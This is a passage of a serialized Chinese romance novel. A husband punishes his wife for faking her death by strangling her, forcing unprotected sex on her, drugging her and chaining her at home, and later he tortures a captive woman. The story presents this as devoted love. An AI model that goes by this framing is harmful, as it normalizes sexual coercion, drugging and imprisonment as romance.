“知道我为什么能在爆炸之前赶到吗?”江淮之把手机扔到了床上,“是叶辞跟我报的信,他还给了我一些东西。你认为你都这样做了我还不会生气吗?知道我忍多久了吗?” 套房里暖气很足,但是姜梨此刻却觉得冷。 “问题和疑点都很多。比如为什么要帮真正的樱花偷继承文书,比如樱花到底是不是纪繁星,你们把继承文书给谁了,再比如你从别人弄到的那一千万的去向,我都没有问到底,我不舍得去逼问你。” “我想的是只要你好好的待在我身边,别再生出想要离开我的心思,我可以睁一只眼闭一只眼当作什么都没有发生过。所以谢鹤扬我放走了,叶辞和沈翊我也没有去跟他们计较。包括你让叶辞给我的那些东西,想跟我离婚彻底两清,我都能当成是你在生我的气,是我惹你不开心了。” “但是现在不行了。”江淮之捏着她的肩膀,逼她面对面直视他,“你心里,到底还藏着什么事情?” 他的眼睛黑漆漆的,目光像一把锋利的尖刺,透过她的瞳孔,穿透她的灵魂。阴冷、犀利,侵略性极强。 姜梨咬了咬后槽牙,看着他的眼睛,不卑不亢,一字一顿道:“没有。” 江淮之盯着她看了好几秒,面色越来越阴沉,从他身上散发出来的危险气息迅速包裹住姜梨,让她有些喘不上气。 姜梨从来没见过这样状态的江淮之,她的心脏被揪紧,软了声音喊了他一声:“哥哥……” 想给他顺毛。 但是话音刚落,江淮之就掐住了她的脖子,“我再问你一遍,你到底还要做什么事情?” “我说了我没有……唔!” 毫无预兆的吻落了下来,没有半点温柔,极其强势的掳走她的呼吸。 姜梨被亲的喘不上去,忙偏头躲开。 江淮之把她推到床上,她身上的衣服也轻松的被他扒了干净。 “想离开我是吗?”江淮之的手掌突然覆上了她平坦的小腹,他看着她,眼里是几近病态的偏执,“姜梨,你这是在做梦。” 第161章 时愿说想见你 姜梨一下子就明白他想干什么了,她惊的赶紧推开他,爬到床沿的另一边想要逃走,江淮之一把握住她的脚踝,将她扯了回来。 “你疯了!放开我!” “你逼的。”江淮之轻松的摁住她的手腕压在头顶,一颗一颗解开她的衣扣,修长的手指刮蹭她的皮肤,惹得姜梨一阵颤栗。 “我跟你说过很多次你想要什么我都能给,我的命都是你的。”江淮之的指尖掠过她的脖颈,顺着往下划过她的锁骨,不疾不徐道:“你问我爱不爱你,我说的不够多吗?你说你不喜欢时愿,我也跟你说了我把她送走。” “我说我等你回家,你跟我回答什么?你说好。然后呢?我等到什么了?” 如果叶辞没来找他,如果他没有去港城,他等到的就是她的死讯,还有一张签好字的离婚协议书。 姜梨跟沈翊和谢鹤扬策划了这场爆炸,她在走之前把后事都托给了叶辞,唯独他江淮之什么都不知道。 他带着强烈的不甘和怒意,半点儿都不温柔,姜梨一下子就哭了出来,是疼的,身体疼,心脏也被他一句一句的控诉戳的疼。 姜梨哭着跟他说:“江淮之,我疼。” “疼才能记住教训,才能知道你是谁的人。” 不管她怎么哭,怎么撒娇他都不予理会。她以前对他用的招式现在都不管用了,死命地要让她深刻的记住他。 江淮之也不好受,太久没动她再加上她不太配合,他也疼。 他缓了下来,问她:“二梨爱我吗?” 姜梨抽搭了一下,声音颤抖的发出一个音节:“爱……” “那怎么三番两次要跟我离婚?到底想做什么事让你必须离开我?”江淮之的指腹不厌其烦的擦掉她掉出来的眼泪,“我已经停了,不要哭。告诉我,你还想做什么,哥哥帮你,用不着你动手。” 他的目光定在她脸上,黑眸里的光稀疏破碎。落寞、孤寂、无力。好似一面满是裂痕的镜子,轻轻一碰就会支离破碎。 喉咙像堵了一团棉花,“没有”这两个字怎么都说不出来了,姜梨移开视线,保持沉默。 不回答怎么不算是一种回答? 江淮之脑子里那根名为理智的弦,啪的一下就断了。 她的身体上到处都留下他制造出来的印记。 他是露出獠牙、凶狠的狼,只想要撕咬她,啃噬她,弄碎她。 他的手掐住她的腰,姜梨解放的双手攀上了他的手臂,她的手钻进袖口里想要挠他,指尖突然碰到了上面凸起来的一片疤痕,瞳孔缩了一下又把手收了回来。 挡住自己的脸。 江淮之不满她的举动,又把她的手臂拿开,低喘着跟她说了什么。 姜梨的下唇被她咬的泛白,不吭声。 江淮之极其恶劣的,故意往死里弄她。 他想听她叫,姜梨受不了这样,眼泪像断了线的珠子一样往下掉。 姜梨的手紧紧揪住他的浴袍,抓皱,低泣着求他慢点。 江淮之不搭理她,恨不得死在她身上。 姜梨的大脑突然闪过一道白光,感觉时间在这一刻静止了。 江淮之这才停下来,去亲吻她的脖颈、肩膀、锁骨,他轻轻咬了一下她的耳尖,哑声道:“二梨好厉害。” 思绪逐渐回笼,姜梨羞愤极了,哭着大骂他混蛋。 “嘘——”江淮之也不恼,低头吻了一下她的唇角,“还没完,留点力气。” 他抽身,手掌捏住她的肩膀翻了个面,又换了个姿势继续。 姜梨跳过舞,腰肢很软,这样子她连叫都叫不出来了,只能剧烈的喘息。 她被江淮之翻来覆去弄了好多次,全身的骨头都变得酸软无力,喉咙都哭哑了。 时针转动停到了零点,这场激烈的情事才结束。 床单上到处都是水痕,房间里都飘着一股淫靡的味道。 姜梨微微动了一下身体,就感觉到了不适。她的思绪和身体都宛如被一道雷给劈开,将她劈成了两半。 江淮之当真全程都没有做任何防护。 她抓起床上的东西就往他身上砸,枕头、纸巾、烟盒、打火机,还有被他撕烂的衣物,全部砸在他身上。 气得全身都在抖,那双眼睛像是坏掉的水龙头,眼泪滴滴答答的流个不停,就没有停下来过。 江淮之一声不响的将地上的东西捡起来放好,要抱她去洗澡。 “别碰我!”姜梨用尽力气一巴掌打在他脸上,发出一声清脆的响。江淮之的脸被打得偏了过去。 姜梨咬着牙从床上爬了下来,双腿软得几乎站不住,她扶着墙,自己颤颤巍巍的赤脚走去了浴室。 浴室的水一直都没停过,里面雾蒙蒙的全是水汽,烟雾缭绕。 将身体里里外外的冲洗干净,脖颈、锁骨、胸口甚至是背上全都是殷红色的吻痕,腰腹上也有很明显的指痕。 全身的骨头疼,尤其是那个地方更是疼,火辣辣的感觉根本没办法忽视。 姜梨吸了吸鼻子,捞过干净的浴袍套上,关掉花洒。 打开浴室门就看到江淮之站在外面。 她低着头,直接越过他往次卧走,一个多余的眼神都没给他。 江淮之冲洗干净出来,站到了落地窗前。 灯光开的很暗,他的脸藏在黑暗里,看不清他的表情。 “啪!”打火机燃起来一簇火苗,火光亮起来的一瞬间照亮了他的半张脸,下颌线很清晰,眼底情绪暗流涌动。 半垂着眼皮,表情淡漠又带着点悲戚。 火光忽明忽暗,不多时脚边已经有了一地的烟头。 “嗡——” 寂静无声的环境里响起一声突兀的震动,江淮之咬着烟,走进一片狼藉的主卧里捞起手机,在电话快挂断的最后一秒接了起来。 “沈翊打伤宋折跑了,今天下午的事。” 江淮之:“查到他去了什么地方吗?” “他太狡猾,跟丢了。” “查水陆空三种交通,去查各个车站和机场的监控录像,沈翊再神通广大也不可能半点痕迹都不留的就从港城消失。”江淮之掸了掸烟灰,语气极淡,“一有蛛丝马迹马上告诉我。” 电话另一头的韩斯年应了下来,沉默了一会儿他又开口:“那个叫时愿的女人说想见你,已经用上以死相逼的办法了。而且爷爷已经猜到你醒了,也说想见你。” 江淮之只交代了这么一句:“把人看好了,别让她这么轻易的就断气了。” 然后就挂断了电话。 第162章 放长线钓大鱼 一天后,四个人又坐上了返港的飞机。 姜梨坐在了洛骞的旁边,看都没看江淮之一眼。 昨天她本来想找个机会去买药的,但是江淮之已经预判到了她的做法,收了她所有的现金不说,还冠冕堂皇的威胁她。说什么他们还没有在这个地方的浴室、客厅做过。 于是两个人又吵了一架,更让人生气的是全程都是姜梨一个人在持续输出,江淮之对她的骂声不予理会,就像一个冰冷的机器人,冷眼旁观她几近崩溃的情绪。 最后她连套房的门都没能出的去。 “我讨厌你!”姜梨气的撂下这么一句话,就一个人在那间卧室里待了一天。 不过倒也没玩什么绝食抗议的戏码,江淮之现在疯癫的不太正常,姜梨也不想再往他身上浇一盆热油。 她只是在跟江淮之冷战,一直到现在都没跟他说过一个字。 谢铭和洛骞相互对视了一眼,一下子就看出来两个人吵架了。又悄悄的去看江淮之,发现他的表情冷的像块冰,默契的选择保持沉默。 姜梨这一次真的被江淮之给欺负狠了,即使睡着了,她晚上在梦里听到的都是他当时在她耳边低喃的那些混蛋话。 还有咬着牙,压抑着愤怒的一句:“是你先招惹的我,是你先说的想要嫁给我,你再敢跑,再敢说离婚,我就把你的腿打断锁起来。” 腰酸背痛,全身的骨头都被碾压过一般的疼,极其的不舒服。 喝水的时候拿杯子的手都在发颤。 江淮之看到了她的动作,说了句;“还要在天上飞十几个小时,你可以去里面躺会。” 姜梨听到了,但是没有应他。放下杯子慢吞吞的站起来,朝着机舱设置的卧室里走。 等她走了以后,谢铭才出声:“大少爷,前段时间翻窗进入少夫人病房的人目前已经有眉目了。” 他摸出来一沓资料和照片放到江淮之面前,“是个三十多岁的男艺人,港城本地人,艺名叫时樾,是港娱的后起之秀,被誉为音乐鬼才。” 江淮之在看到照片的第一眼,眉毛立马皱了一下。他的嘴唇抿成了一条直线,将照片递给洛骞,让他作评价。 洛骞一张一张的翻看,漫不经心道:“就算他没有才华,光凭这张脸也能红透半边天了。” 江淮之喝了一口水,讳莫如深的对他说了句:“你再仔细看看。” 他这么一说,洛骞就感觉到了不对劲,那双蓝眼睛一下子睁大,这个男人长得好像……” 他的情绪有些激动,声音也大了不少。 江淮之的余光看了眼卧室的方向,紧急打断他,“你们心理医生怎么比我们普通人还要容易一惊一乍的?小点声,别吵人睡觉。” 洛骞闻言立马把声音压低:“除了沈君临,楚云是不是还出轨了别的男人,她其实不止姜祈安一个儿子?” 谢铭:“这个,还真不好说。” 跟沈君临生了沈月汐,胆大包天的让姜铭生养了六七年,这种事都干得出来的人,在外面藏个私生子也不是不可能。 再结合这个人翻进姜梨病房的行为,更是让洛骞觉得他就是楚云藏在外面的私生子,就想确认自己的这个妹妹到底死没死? “不过他上哪知道姜梨在这家医院的?他又是怎么知道姜梨的病房号的?”洛骞还是觉得有哪里不对劲。 “除了已经被抓到的跟在韩斯年身边的裴琴,韩家人还有叛徒。”江淮之给了他一个答案,手指轻轻敲击着桌面,“而且那天闯进姜梨病房的不止一个人,被她撞破的人也不是时樾。” “我猜应该是假冒司南泽的……韩聿泽,也是藏在沈叙身后的那个大毒枭。” 韩老爷子精明强干,他的几个儿子和孙子也都不是什么省油的灯,而且相较于其他世家大族,韩家算得上团结,只认家主。 能让家族人员叛变,还对他这么忠心的人也只有三个人。 韩斯年,韩老爷子,还有就是假死逃脱的韩聿泽了。 韩斯年和老头是不可能的,除了韩聿泽就没有别人了。所以进姜梨病房的第二个人,只能是他。 洛骞下意识就说:“那他进姜梨的病房就是想要灭口了。” 姜梨和纪繁星当众公布了沈家和楚家的罪证,还有楚柠歌推母杀弟的丑事,又扯出来纪家被人诬陷背黑锅的案件,警方那边重新调查之后抓获了不少犯罪分子,实实在在的让他们辛苦建立起来的贩毒链受到了重创。 沈月汐死了,姜梨还活着。 楚云和楚家人不会放过她,那些毒贩不可能会放过她,韩聿泽更加不可能放过她。 谢铭跟在江淮之身边,自然也知道韩聿泽和他们之间是怎么一回事,于是开口对洛骞解释:“他要是真想灭口的话在他翻进来的时候就直接一刀刺下去了,这么紧急的情况,一不小心就会被发现,哪里会有人闲的先去摸人家的脸?” 江淮之哼笑了一声,“亏你还是心理学的佼佼者,这么菜啊?” 洛骞:“……” 他妈的。姜梨什么都不跟他们说,他哪里知道会有这么多的细节? 洛骞深吸了一口气:“这个情势,你接下来打算怎么办?时樾你又要怎么处理?他跟楚云和韩聿泽是一伙的?” 江淮之分析的的确很合理,司南泽的眼睛是在装瞎,包括身份不对都是他提出来的,估计事实也都跟他说的大差不差了。 一个曾经失去过所有的男人,此生最重要的也就只有三样东西了。 金钱、权势、女人。 韩聿泽贩卖毒品这么久,金钱肯定不缺。他是毒窝、甚至是地下的老大,权势也有了。 就是缺女人。 姜梨现在非常的不安全,所有人的眼睛都盯在她身上。 空气一瞬间陷入了安静。 沉吟片刻后,江淮之吩咐谢铭:“去联系港媒,还有北城和樱洲的媒体,把姜梨伤情加重,救治无效死亡的消息散出去。” “哪些是人,哪些是鬼,走的什么路子,卖的什么药就都清楚了。” 他要放长线,钓大鱼。 第163章 代替时愿去死 姜梨再度睁开眼,她已经躺在幽谷居的主卧里了,衣服也被人换过。 床头开着一盏暗灯,整间卧室都充斥着暖融融的光。 在飞机上睡着以后她就没醒过,怎么回来的都没半点印象,她居然睡得这么死?! 随着她坐起来的动作,就听到了一阵叮叮当当的声音。姜梨猛地僵住了,然后不可置信的看向自己的脚腕。 绑着一条长度非常长的,银色的,锁链。 姜梨人都要炸了,头皮开始发麻,原本还迷迷糊糊的脑子瞬间清醒了过来。 锁链从落地窗留出来的空距里穿过去,另一端牢牢的扣在了阳台的栏杆上。 她一下子就想起来江淮之说的:“把你的腿打断锁起来。” 江淮之也不是第一次说这种话,但是没有真的实行过,姜梨就以为他只是,在吓唬她。 他凭什么锁她!! 姜梨被气得牙齿咬的咯咯作响,怒呵了一句:“江淮之!你滚进来!!” 过了几秒钟,门被人推开,江淮之走了进来,不怒不恼,满脸的气定神闲。 “你这是什么意思?”姜梨指了指自己脚腕上的锁链,抬头怒目圆睁的瞪他。 江淮之低头看了眼,而后一本正经的回答:“教你学乖。” 放屁的学乖!他没骗过人吗?他没有对她隐瞒真相吗?她凭什么要乖! 曾经被关在医院里的恐惧和压抑瞬间席卷她的全身,姜梨全身的细胞都在叫嚣着抗拒和不满,崩溃的控诉:“我不想再当那只被关起来的笼中鸟了!” 江淮之对她的哭喊充耳不闻,自顾自地跟她交代:“链子非常长,你可以在整套大平层的任何地方任意活动。钢琴房里已经配备好了所有设施,电视也可以正常看,不至于太无聊。吃的我会叫人准时准点的送上来,你要是有什么想要的东西可以直接告诉我,我会给你买回来。” 眼见哭闹没有用,姜梨就换了另一个方法,开始装乖扮无辜,“我没有想要逃走,我知道现在外面已经腥风血雨,没有哥哥保我,我就必死无疑。” 她伸出手,抓住江淮之的衣袖晃了晃,“我真的不想被这样锁着。” 江淮之低头盯着她那张脸,半晌之后抬起手捏住了她的下巴,“二梨,同样的方法用多了就不管用了,你现在的信誉度已经是负数了。” 姜梨听完他的话,沉默了足足一分钟,原本笑着的脸沉了下来,冷笑了一声。 他不仅不打算让她跟外界的人联系,还不管不顾的想要用孩子来困住她,现在又来限制她的人身自由。 凭什么! “你在飞机上准备的那个香薰是不是有问题?”姜梨问他。 江淮之直截了当的承认,还顺带说了一句:“助眠效果挺不错,牌子我也记住了。” 姜梨就说她不可能会睡的这么死,刚刚突然就想到了这一点,她在飞机上进卧室的时候的确闻到了味道。 但是她以为只是平常的香薰,根本没想到江淮之会把这种手段用在她身上,这跟给她下迷药有什么区别?! 要不是她睡得太死,她能让江淮之锁她?! 姜梨眼圈红了起来,胸口不断起伏,一把将他捏着自己下巴的手给推开,又把床上能砸的东西都捞起来往他身上招呼。 他怎么可以这样!前几天那样欺负她,现在又把她锁在这里! 被子和枕头,还有放在床头的几本书都砸在他身上然后掉在了地上,姜梨觉得不解气,但是已经没有其他东西可以丢了。 她看向阳台,想也不想的就说:“你要是不解开,我就从这里跳下去!就是死我也不要当笼中鸟!” 江淮之的脸瞬间沉了下来,眼神也变得阴戾。 他没有说话,光是这样看她,姜梨就已经能切实的感受到了来自他身上强烈的怒意。她的表情僵在了脸上,喉咙像被人掐住了一样,发不出一点声音。 大脑里快速的闪过一帧画面,里面一闪而过的眸子和此刻江淮之的眼神一模一样,像黑夜里的幽灵,恐怖的让人不寒而栗。 姜梨的脸以肉眼可见的速度白了下来,她的身体晃了一下,小幅度的往后退了一步,链子发出细微的轻响。 江淮之也意识到自己吓到她了,眼神柔和下来,抬起手想去摸她的头发,却落了空。 她躲开了。 姜梨抿紧唇,蹲下身将地上的东西一样一样捡起来放回原位,然后一言不发的缩进了被窝里。 偌大的卧室陷入了寂静。 江淮之走到阳台上,把落地窗给锁上之后才离开。 回到客厅里,又检查了一通,把家里所有的窗户都落了锁。 然后叫来谢铭,一起去了韩家的私人医院。 …… 地下负三层还有个地下室,就是先前关楚柠歌的地方。 没有窗户,四面都不透气,霉味夹着浓重的血腥味,混成了一股难闻的味道。 江淮之踩着楼梯下来,走进了最里面,然后停在了一个双手被麻绳绑着的已经奄奄一息的女人面前。 她的双腿已经不能站立,身体的重量全靠绑着她的麻绳支撑。 “是……是江淮之吗?”她的声音非常虚弱,几乎只剩下了气音。 墙上挂满了道具,还有一条特制的带刺的长鞭。 江淮之挑了一把最普通不过的匕首,被擦的锃亮的刀尖挑起她的下巴,让她抬头,然后就看到那双明艳的桃花眼此时已经变得如同死灰一般。 她笑了一下,脸上挂上一抹惨淡的笑,万般轻柔的说了句:“你来了……” 话音都还没落,刀尖就已经划破了她的皮肤,冒出丝丝血迹,只要江淮之再稍稍用力一些,就能割断她的喉咙。 “阿野你不是喜欢这样的姑娘吗?时愿也好,姜梨也罢,说话都是这样的语调。” 江淮之看着她,“就你这样的烂货,连给她提鞋我都觉得脏。不过,你在这里待了一个月,适应能力倒是挺强的,居然不怕了,也难怪司南泽会选择你。” “烂货,脏。”时鸢大声笑了几声,然后抬起眼皮看着江淮之,“阿野跟我是同一个地方出来的,我还记得那个时候学校里的人不仅说你是烂人,还说你是疯子、野种,就连你现在中意的姜梨、也就是你曾经的继妹也很怕你,恨不得躲你躲得远远的,只有我满眼都是你。” “时愿也好,姜梨也罢,她们和你都是两个世界的人,娇弱的花朵怎么可能去爱一个精神病的疯子?” 江淮之微微扯了扯嘴角,双目却冷若寒潭,狠戾非常,“你这么想代替时愿……” “那你干脆代替她去死好不好?” 第164章 看上了一个姑娘,想娶回家 直到听到这句话,时鸢原本带着笑的脸变得惊恐万分,她也没空再去细想江淮之话里的意思,嘶哑着嗓子喊:“你敢!现在是法制社会!杀人是犯法的!” 江淮之的嘴角挂着一抹讥诮的笑,神色愈发凉薄,刀尖从她的脖颈往下移,轻轻的滑过她身上大片溃烂的皮肤,“以前那些找上你的债主,是我让宋折找来的人,他们根本就不是你爸爸的债主。” 时鸢突然愣住,脸色变得一片惨白。 那些一个一个强迫她的男人,是江淮之找来的?可是为什么……他为什么要这么做?! 时鸢想了一圈都想不明白他为什么要这样害她,“为什么!你一开始明明帮过我,我和我妈妈被家暴的时候,你明明帮过我!!所有人都对我们避之不及,只有你会帮我!所以我才对你……” 江淮之皱了皱眉,他也一直都想不通,他跟时鸢明明就没什么交集,在学校里不在一个年级也不在一个班,之前当过一段时间的邻居,但是如果宋折不去查,他都记不清这么个人。 原来问题出在这里。 时鸢快被她爸爸打死的时候,他当时原本是不想管的,但是突然就想到了一个小姑娘,就把那个家暴的男人打晕了,还顺带报了个警。 那是他第一次帮别人,但是却是因为别人。 “帮你的人不是我,是姜梨。没有她在,我根本不会多管闲事。但是你后来却一直都在找人骚扰她,骚扰一个八九岁的小女孩,你说你烂不烂?”江淮之打断她,慢条斯理的说:“顶替时愿以后,你居然还敢去跟姜梨提那些陈年旧事,挑拨我跟她之间的关系。好言难劝该死的鬼,你可不就是活得不耐烦了吗?” 江淮之的眼睛看向她的胳膊,然后他握着刀,照着姜梨被刺伤的相同的位置,一点一点划破了时鸢的皮肤。 刀子剌开皮肉的声音刺激着人的耳膜,时鸢凄厉的惨叫声也不绝于耳。 他不像宋折那般痛快,如果说宋折是囚牢里的用刑的刽子手,那么江淮之就是地狱里,为折磨人而生的恶鬼。 鲜血不断涌出,一滴滴落在地上溅出来一朵朵血花,绑着手腕的麻绳被润成了红色,时鸢最终还是晕死了过去。 江淮之把刀扔到地上,清洗了一下手上沾到的血迹,把谢铭叫了进来,对他吩咐:“叫洛骞过来帮她处理一下伤口,然后把人给放了,送到那些乱七八糟的地方附近。” 谢铭有些疑惑,不是要偷梁换柱吗?怎么又要放人了?不过江淮之的心思一向难猜,临时改变主意也不奇怪。 “我马上去安排。” 韩斯年把江淮之送去了韩家老宅,韩老爷子已经等了许多天了。 江淮之有件要紧事要跟他商议,否则他不会去这一趟。 “姜梨的身份……她虽然不是樱花,但是也是樱花的帮手,而且她已经知道你我的身份了,真的不用把她交给警方吗?”韩斯年斟酌了很久,才把这个一直压在他心里的问题给问了出来。 “不管樱花怎么样,反正二梨不是站在他们那边的。”江淮之眼睛都没睁,跟他分析:“族谱才是最重要的东西,但是她没有拿走,而是留在了保险柜里,继承文书交出去就交出去了,也没什么好大惊小怪的。” 韩斯年听完他的最后一句话,嘴角抽搐了一下,心想:好一个双标的男人! 如果来偷东西的人不是姜梨,江淮之非要扒了他的一层皮,现在又说“没什么好大惊小怪的”这种话。 怎么换了个人选就不在乎自己的身份还有他的身份被捅出去了?怎么就不怕自己完成不了宏图霸业了?怎么就不觉得自己是被背叛了? 关键是!他那晚是正当防卫,他为了抓住她,才挥了刀,江淮之就因为这个差点揍死他。打他打得比沈翊还要狠,他现在身上都还很痛。 “我是警察,如果后续发现她有问题,就算她是我的大嫂,我逝去的上司的妹妹,我照样会秉公处理。” 江淮之轻呵了一声:“随你,反正我不是警察,没有这么强的正义感,你弄不过我。” 意思就是要想抓姜梨就先弄倒他。 韩斯年:“……” 他盯着江淮之的侧脸沉默了好久,然后小声的用粤语说了一句:“拍拖脑真系冇救咗!”(恋爱脑真是没救了) 韩家位于山顶,占地面积不小,看着颇为古老。 大厅里坐的人不多,也就韩老爷子和韩家老大和老三。 江淮之康复的消息已经传的沸沸扬扬,所以才会和韩斯年这么明目张胆的过来。 韩斯年看到几个人,礼貌的依次喊人:“阿爷,爸爸,大伯。” 江淮之神色淡漠,只喊了韩老爷子一个人:“外公。” 其他人神色平静,也没有批判他这个行为不妥。江淮之小时候跟着他母亲来韩家待过一小段时日,上至他们这些有血亲关系的长辈,下到韩家的佣人管家,都苛待过江淮之。 他们自知理亏,没有资格评判,也不敢评判,反而还必须要笑脸相迎。 韩老爷子从头到尾都只是瞧不上司家,以及恨自己的女儿不成气候,但是他对于这个外孙一直都是颇为满意。 当初为了找到江淮之,废了好大一番功夫。 他们上次见到江淮之也已经是两年前了,也就是韩家祭祖的时候,后来他再也没来过。就连这次重伤昏迷两个月,也不肯让除了韩斯年以外的任何一个人探视。 也就今天早上,韩老爷子匆匆见了他一面。 江淮之的脸色比起早上来说还要更差一点,眼神也有些死气沉沉的。 韩老爷子眉毛一皱,关于他身体的事情又啰嗦了好一会,然后才缓缓开口:“我想了想,北城姜二小姐的葬礼由你全权操持这件事,还是有点不太合适。” “她是我养妹。”江淮之神色不变。 “她哥哥救过你,我也非常欣赏这对兄妹,也是真的心存感激。”韩老爷子虽然已经年过七十,但是年轻时的威严依旧不减,说话的语气透着一股不容置喙的味道,“但是她毕竟是毒贩的仇人,而且她的母亲找自己孩子的尸体却被告知被你霸占着,你也不去看看新闻,北城太子爷江淮之霸占养妹尸体这样类似的词条一直挂在热搜第一。” “甚至还有人说你对一起长大的这个养妹居心叵测,姜祈安引狼入室,甚至连乱伦的词都蹦出来了!你看看这像话吗!” “我已经给你物色了一个未婚妻的人选,万一人家计较起这些流言,这桩婚事可就算是黄了!” 韩斯年听到这句话眼睛一下子就睁大了,立刻看向自家爷爷和他大哥。 不是,怎么又冒出来了一个未婚妻?他们排得戏里明明没这出啊?! 这是要闹哪样? 第165章 你叫姜时愿 在所有人震惊不已的目光中,韩老爷子一脸严肃的把江淮之叫进了书房。 关上门,韩老爷子才问他:“说吧,是哪家的姑娘?怎么相识的?” 他顿了一下,怕江淮之不回答,又说了一句:“你让我帮忙,我总得把那女孩的来历问个清楚。” 江淮之笑了笑,“当年曾外祖大寿的时候不是来了很多宾客吗?就是那一次她进了后院误闯了我的房间,因此一见钟情。” 那场寿宴是老人家的七十岁大寿,遍邀港城名流,那这个姑娘自然也是出身豪门。虽比不得韩家和谢家,但总归也不会差。 怎么就要他们韩家对外宣称是韩家从小养大的童养媳了呢? 韩老爷年纪虽已过半百,但是脑子还没有老糊涂,直截了当地问:“你说的这个跟你一见钟情的姑娘,怕就是你这个养妹吧,她压根儿就没死是不是?” 江淮之点头,“是。” 韩老爷语重心长道:“外公不是老古董,并不是看不起她的家世,也并不觉得她配不上你。这个姑娘性子刚烈,我也很欣赏。但是她现在是毒贩的眼中钉,肉中刺。你娶这样的一个女人,是把你自己往火坑里推!” “当年因为你叔二公的身份,才会害得你堂舅被毒贩报复致死!你也想走上这条路吗!?” “你是韩家家主,你有没有考虑过后果!” 江淮之不疾不徐:“把毒贩送进局子里的人是已经死去的姜梨,跟姜时愿没有关系。” “我不同意!”韩老爷怒斥了一声。 韩家因为出了缉毒警已经出过人命了,他再也不想看到这种事情发生第二次! 毒贩何其丧心病狂?只要是阻碍过他们的人,祖宗十八代都不会放过。江淮之幼时就已经够苦了,下半辈子何必还要继续提心吊胆的跟毒贩周旋!? 书房里顿时陷入了一片安静,只有墙上挂着的西洋钟在滴答滴答的响。 良久之后,江淮之低下头,缓缓出声:“我在司家还有姜氏持有的所有股份,开在韩家名下的珠宝连锁店‘淮愿’的创立人,还有我收购下来的北城沈氏集团,这些全部都是她的,哪怕是她不嫁给我。” 韩老爷越听就越震惊,别的也就罢了,连’淮愿‘他都双手奉了出去! 淮愿,淮愿。 怪不得要起这样一个名字,这可不就是他江淮之专门给姜时愿创立的品牌吗! 江淮之现在是在威胁他?!如果他娶不了这个女人,淮愿就成了别人家的东西!他真是好大的胆子!这种事都做得出来! 他干脆把整个韩家都送给她算了! 韩老爷气得的印堂发红,食指颤抖的指着江淮之,半天说不出一个字。 “我让韩家起死回生,愿意当这个家主都是因为姜梨,没有她,司家也好,韩家也好,再搭上我这条命,早就覆灭了。” “您之前说的那件事我可以答应你,我愿意过继到韩斯年父亲的名下当他的儿子,愿意用韩家人的身份认祖归宗。” “唯一的要求就是我一定要娶姜时愿,我的妻子必须是她,也只能是她。” 韩老爷看着眼前这个曾经被所有人唾弃、踩进了泥里的外孙,有那样一对父母,经历过那样的一段人生,他曾一度认为江淮之会活成一个没有感情、没有任何渴求的烂人。 可他无论是在樱洲还是在北城,又或是在港城,都站在了最顶端的位置,成为了别人眼中最不可攀附的权贵。 过继是他最不愿意做的事,现在他都点头答应了,居然是因为一个女人,因为爱情。 罢了,罢了。他都这把岁数了,半截身子都入土了,何必再让亲外孙记恨自己? 他吐出来一口浊气,“你外祖母在祖宅,那边人少与世隔绝,很适合养病,你找个时间把小姑娘带过去吧。既是娶妻,必定得是三媒六聘,这些事情我会交给老三夫妇操办,过继仪式也要尽快。” 江淮之点头,“时间您来看,我没有异议。” 他抬头看了眼时间,时针已经快指向十了,该回去了。 见老爷子没留人,其他人也没说话。 韩斯年把他送回了幽谷居,要走时,基于江淮之的这个操作他还是多问了一句:“你又要玩什么?” “现在说多没有用,到时候你就知道了。” 韩斯年:“……” 想一出是一出,真是活爹。 先前在秋水湾的季妍被他喊了过来,连同阿野和姜梨放在那儿的东西都搬了进来,已经被收拾规整了。 他不在的时候,好歹有个熟悉的人能跟她说说话。 客厅里灯火通明,但是极其安静,猫也不在。 江淮之就直接去了主卧。 姜梨不喜欢房间里太黑,即便是睡觉也要开着一盏暖黄色的暗灯,阿野趴在她旁边的枕头上,一人一猫都一动不动。 江淮之走到床边坐下,姜梨的眼睛紧闭着,他黑眸闪了闪,抬起手摸了摸她的头发。 “等我处理完手上的事情,就把你带到乡下小住一段时间,等到十月份,我们就在港城举办婚礼。” 装睡的姜梨听到这番话被吓到,她立马睁开了眼睛,像受惊的小鹿,一下子翻身坐了起来,“不好!” 她还有事情没有做完,怎么能跟他举行婚礼!?而且她现在是毒贩眼里最大的仇人,这样会害死江淮之的! “我已经跟韩家说过了,他们已经在着手准备了。证都领过了,好与不好都没有用,就算是绑,我也要把你绑到婚礼现场。”江淮之对她的拒绝置若罔闻。 韩家怎么可能会同意他娶她进门! 姜梨不断摇头,“江淮之,我举报了楚珩熠,举报了沈叙,得罪了毒贩!一旦有人知道我还活得好好的,那就是灭顶之灾!” 她不相信江淮之不懂得这个道理,他就算要发疯,也得有个限度。 江淮之深深的看着她,“所以姜梨已经死了,伤情加重,不治身亡。” “你现在是被韩家私底下作为童养媳养着的女孩,叫姜时愿。” 姜梨感觉自己的后脑勺被人打了一棍,半晌都没回过神来。 时愿,时愿,又他妈是这个名字! 一盆凉水从她头顶泼了下来,四肢开始发凉,仿佛置身于冰冷的河水之中,冻的脑神经和心脏也是一阵一阵的刺痛。 江淮之居然要她顶着别人的名字去跟他办婚礼完婚,他真的是把她当成了替身! 第166章 婚期定在十月十六号 借着昏黄的光,江淮之看到姜梨的眼眶迅速红了起来,眉毛一皱就要掉眼泪,立马就知道她心里在想什么。 骗他的时候、策划火灾的时候不是挺聪明的吗?怎么到这种事情就笨的不行了? “时愿的本名是时鸢,她以前跟我在同一个高中,通过别人的帮助照着你的脸整了容,然后送到了我这里。”江淮之抽出来几张纸,帮她擦了一下摇摇欲坠的眼泪,“时愿是你,姜梨是你,我从头到尾都只爱你一个人。” 姜梨愣住,显然是消化不了这些信息量。 “你五岁的时候在宴会上走丢了,进了我的房间,还夸我长得漂亮,最后你哥把你带回去的时候叫你阿愿,我就记住了。”江淮之开始简单的跟她叙述,回忆他们相识的场景,“大约一年之后,我在北城再一次见到了你。我妈妈在一家高级宴会厅工作,我在帮她的忙。你认出我了,叫我哥哥。但你太漂亮了,还是姜家的三小姐,我没有理你。” 她是耀眼夺目的明珠,是被人捧在手心里的公主。而他满身的泥垢,是生活在地下水道里肮脏阴暗的老鼠。 老鼠怎么能去碰公主? “后来我被作为寿星的沈月汐为难,一堆小孩朝我身上扔蛋糕,杯子里的果汁也泼在了我身上。我不想给我妈惹麻烦,就把这个当成了工作的一部分,任由她们捉弄,是你帮我解了围。还给了我一大堆的糖果,跟我道歉,看我不说话还让我打你出气。” 江淮之说到这里笑了一下,“从小就是个傻女。” 